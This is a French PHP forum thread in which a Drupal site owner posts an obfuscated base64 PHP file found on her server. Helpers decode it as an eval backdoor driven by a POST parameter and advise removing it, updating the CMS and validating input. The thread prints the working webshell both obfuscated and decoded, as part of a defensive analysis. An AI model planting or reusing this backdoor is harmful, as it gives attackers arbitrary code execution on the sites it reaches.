IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Langage PHP Discussion :

Sécurité formulaire contact


Sujet :

Langage PHP

  1. #1
    Membre confirmé
    Inscrit en
    Novembre 2004
    Messages
    152
    Détails du profil
    Informations forums :
    Inscription : Novembre 2004
    Messages : 152
    Par défaut Sécurité formulaire contact
    Bonjour,

    Après avoir eu l'envoi de mails bloqués par mon hébergeur pour spam, j'ai découvert ceci à la racine de mon site

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    <?php
    $_= 
    //system file do not delete
    'CmlmKGlzc2V0KCRfUE9TVFsiY29kZSJdKSkKewogICAgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29kZSJdKSk7Cn0='; 
     //system file do not delete
    $__ = "JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7";$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));
    ?>
    Comment puis-je le décoder pour voir quel champ pose problème dans mon formulaire de contact?

    PAr ailleurs comment un fichier a-t-il pu se déposer sur le FTP alors que je suis la seule à avoir les codes d'accès?

    Merci de votre aide

  2. #2
    Expert confirmé
    Avatar de Benjamin Delespierre
    Profil pro
    Développeur Web
    Inscrit en
    Février 2010
    Messages
    3 929
    Détails du profil
    Informations personnelles :
    Âge : 38
    Localisation : France, Alpes Maritimes (Provence Alpes Côte d'Azur)

    Informations professionnelles :
    Activité : Développeur Web
    Secteur : High Tech - Opérateur de télécommunications

    Informations forums :
    Inscription : Février 2010
    Messages : 3 929
    Par défaut
    C'est EXTRÊMEMENT DANGEREUX, vire ça tout de suite !

    En réalité, ce que ce code fait c'est évaluer l'expression suivante (c'est fait à deux niveau, mais c'est juste de l'encodage base64 en fait).
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    if(isset($_POST["code"]))
    {
        eval(base64_decode($_POST["code"]));
    }
    Heu... Franchement ça fait très peur, c'est un backdoor qui permet à un tiers d'envoyer du code à exécuter sur ton site. Je ne sais pas qui à mis ça là, peut être que quelqu'un à exploité une faille d'un de tes formulaires. Ceux qui on écris ce code l'ont fait de manière à masquer ce qu'ils voulaient faire.

    Mon conseil: dégage ça au plus vite surtout !

  3. #3
    Membre confirmé
    Inscrit en
    Novembre 2004
    Messages
    152
    Détails du profil
    Informations forums :
    Inscription : Novembre 2004
    Messages : 152
    Par défaut
    J'ai supprimé le fichier dès que je l'ai vu, par contre je n'ai pas de champ de formulaire avec un nom de champ 'code' ou pourrait faire quelque chose.

    Comment ce fichier a-t-il pu arriver là et comment être certaine que d'autres ne seront pas ajouter?

  4. #4
    Membre Expert
    Avatar de Doksuri
    Profil pro
    Développeur Web
    Inscrit en
    Juin 2006
    Messages
    2 507
    Détails du profil
    Informations personnelles :
    Âge : 56
    Localisation : France

    Informations professionnelles :
    Activité : Développeur Web

    Informations forums :
    Inscription : Juin 2006
    Messages : 2 507
    Par défaut
    facile, avec la console de debug de chrome ou firefox, tu renommes des champs a la volee, donc tu peux en apeller un "code" si tu veux.

    apres, c'est un forum d'entraide, pas de hacking.
    La forme des pyramides prouve que l'Homme a toujours tendance a en faire de moins en moins.

    Venez discuter sur le Chat de Développez !

  5. #5
    Expert confirmé
    Avatar de Benjamin Delespierre
    Profil pro
    Développeur Web
    Inscrit en
    Février 2010
    Messages
    3 929
    Détails du profil
    Informations personnelles :
    Âge : 38
    Localisation : France, Alpes Maritimes (Provence Alpes Côte d'Azur)

    Informations professionnelles :
    Activité : Développeur Web
    Secteur : High Tech - Opérateur de télécommunications

    Informations forums :
    Inscription : Février 2010
    Messages : 3 929
    Par défaut
    Merci pour votre réponse, je l'avais bien compris en puisque j'avais des tentatives d'attaques dans mes logs et mon hébergeur m'a alerté car il y avait du spam. J'ai donc supprimer immédiatement le fichier.

    Quelle fonction php permet d'obtenir le code de base?

    Comment ce fichier a pu atterrir sur mon site alors que je suis les seules à avoir les codes ftp? Je viens de les changer au cas où, mais comment être sur que ce genre de fichier ne reviendra pas?

    Pour info mon site est sous drupal, je viens de faire les mises à jour de sécurité.
    Je ne connais pas en détail le fonctionnement interne de Drupal mais mon hypothèse est la suivante: quelqu'un à exploité une faille de sécurité des formulaires de drupal pour provoquer le téléchargement d'un fichier PHP sur la plateforme. Le fichier en question permet à un utilisateur quelconque d'éxecuter n'importe quel morceau de code PHP (code transmis en base64) pour par exemple voler des informations ou, plus vraisemblablement, pour effectuer des campagnes de spam.

    Peu importe au final que tu aies un formulaire avec un champ code ou non, il suffit à l'attaquant d'envoyer des fragments de code en POST sur ton serveur en utilisant l'URI de la backdoor pour faire ce qu'il veut.

    Vu que tu dépends d'un CMS, tu ne peut pas être certain à 100% qu'il ne présentera aucune faille de sécurité, la meilleure solution pour prévenir ce genre d'attaque est de mettre à jour régulièrement Drupal.

    facile, avec la console de debug de chrome ou firefox, tu renommes des champs a la volee, donc tu peux en apeller un "code" si tu veux.

    apres, c'est un forum d'entraide, pas de hacking.
    En réalité, il existe pléthore de moyens pour envoyer des données POST à un serveur HTTP, entre autres formulaires, CURL, Wrappers etc. Cela fait partie du protocole HTTP.

    Je rappelle une fois de plus que POST n'est aucunement plus sécurisé que GET et que vous devez TOUJOURS considérer n'importe quelle données provenant de l'utilisateur comme de la base de données comme tâchée. C'est la responsabilité du programmeur de les valider et de les nettoyer avant de les utiliser (les filtres aident beaucoup à y arriver simplement).
    La même remarque s'applique à la réception de fichiers.

  6. #6
    Membre confirmé
    Inscrit en
    Novembre 2004
    Messages
    152
    Détails du profil
    Informations forums :
    Inscription : Novembre 2004
    Messages : 152
    Par défaut
    merci beaucoup pour vos réponses. J'ai tout mis à jour et je vais rajouter des tests de validation.

  7. #7
    Membre Expert
    Avatar de Doksuri
    Profil pro
    Développeur Web
    Inscrit en
    Juin 2006
    Messages
    2 507
    Détails du profil
    Informations personnelles :
    Âge : 56
    Localisation : France

    Informations professionnelles :
    Activité : Développeur Web

    Informations forums :
    Inscription : Juin 2006
    Messages : 2 507
    Par défaut
    Citation Envoyé par Benjamin Delespierre Voir le message
    En réalité, il existe pléthore de moyens pour envoyer des données POST à un serveur HTTP, entre autres formulaires, CURL, Wrappers etc. Cela fait partie du protocole HTTP.
    oui, c'est sur, mais je ne savais pas que ca concernait Dupral
    La forme des pyramides prouve que l'Homme a toujours tendance a en faire de moins en moins.

    Venez discuter sur le Chat de Développez !

  8. #8
    Membre confirmé
    Inscrit en
    Novembre 2004
    Messages
    152
    Détails du profil
    Informations forums :
    Inscription : Novembre 2004
    Messages : 152
    Par défaut
    moi non plus, car j'ai fait plein de sites drupal et là bam pour un qui à même pas 10 visites / jour !
    On n'est jamais trop prudent.

  9. #9
    Expert confirmé
    Avatar de Benjamin Delespierre
    Profil pro
    Développeur Web
    Inscrit en
    Février 2010
    Messages
    3 929
    Détails du profil
    Informations personnelles :
    Âge : 38
    Localisation : France, Alpes Maritimes (Provence Alpes Côte d'Azur)

    Informations professionnelles :
    Activité : Développeur Web
    Secteur : High Tech - Opérateur de télécommunications

    Informations forums :
    Inscription : Février 2010
    Messages : 3 929
    Par défaut
    Bah, les chinois ont des spiders qui cherchent des cibles en permanence, vu que certains CMS font la bêtise d'indiquer leur version dans les balises meta des pages qu'ils produisent, l'attaquant sait tout de suite les vulnérabilités...

    Au passage, il est aussi fortement déconseillé d'afficher la version d'Apache et de PHP utilisée (ce qui est pourtant la configuration par défaut d'apache ).

    What I know I keep for myself

  10. #10
    Membre confirmé
    Inscrit en
    Novembre 2004
    Messages
    152
    Détails du profil
    Informations forums :
    Inscription : Novembre 2004
    Messages : 152
    Par défaut
    Drupal contrairement à Wordpress n'indique pas sa version.

    Au passage, il est aussi fortement déconseillé d'afficher la version d'Apache et de PHP utilisée (ce qui est pourtant la configuration par défaut d'apache ).
    Je suis un hébergement mutualisé d'OVH, est-ce que les pirates ont accès à ses informations?

  11. #11
    Expert confirmé
    Avatar de Benjamin Delespierre
    Profil pro
    Développeur Web
    Inscrit en
    Février 2010
    Messages
    3 929
    Détails du profil
    Informations personnelles :
    Âge : 38
    Localisation : France, Alpes Maritimes (Provence Alpes Côte d'Azur)

    Informations professionnelles :
    Activité : Développeur Web
    Secteur : High Tech - Opérateur de télécommunications

    Informations forums :
    Inscription : Février 2010
    Messages : 3 929
    Par défaut
    C'est assez simple à détermnier, mets un repertoire vide et accessible quelque part, rends toi dedans avec ton navigateur internet et si tu vois la signature d'apache c'est pas bon.

    Tu peux la désactiver dans la conf d'apache avec la directive ServerSignature: http://httpd.apache.org/docs/2.0/mod...erversignature

    Le problème avec toutes ces signatures logicielles c'est qu'elles donnent des information utiles à des attaquants (surtout les versions), c'est comme se balader dans la cour de récréation en disant "j'ai plein de fric pour mon déjeuner et je sais pas me défendre...", on peut aisément déterminer la suite des évènements...

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. [Joomla!] formulaire contact : pas d'envoi
    Par kamilane dans le forum EDI, CMS, Outils, Scripts et API
    Réponses: 2
    Dernier message: 10/12/2007, 17h52
  2. Mon formulaire contact me parvient vide
    Par mercibien dans le forum Langage
    Réponses: 15
    Dernier message: 13/05/2007, 18h59
  3. [PHP-JS] probleme avec mon formulaire contact
    Par gtraxx dans le forum Langage
    Réponses: 27
    Dernier message: 03/10/2006, 01h41
  4. pb de formulaire contact asp
    Par idea2concept dans le forum ASP
    Réponses: 1
    Dernier message: 22/08/2006, 22h46
  5. [Sécurité] Formulaire Enquette
    Par Destiny dans le forum Langage
    Réponses: 6
    Dernier message: 09/09/2005, 15h55

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo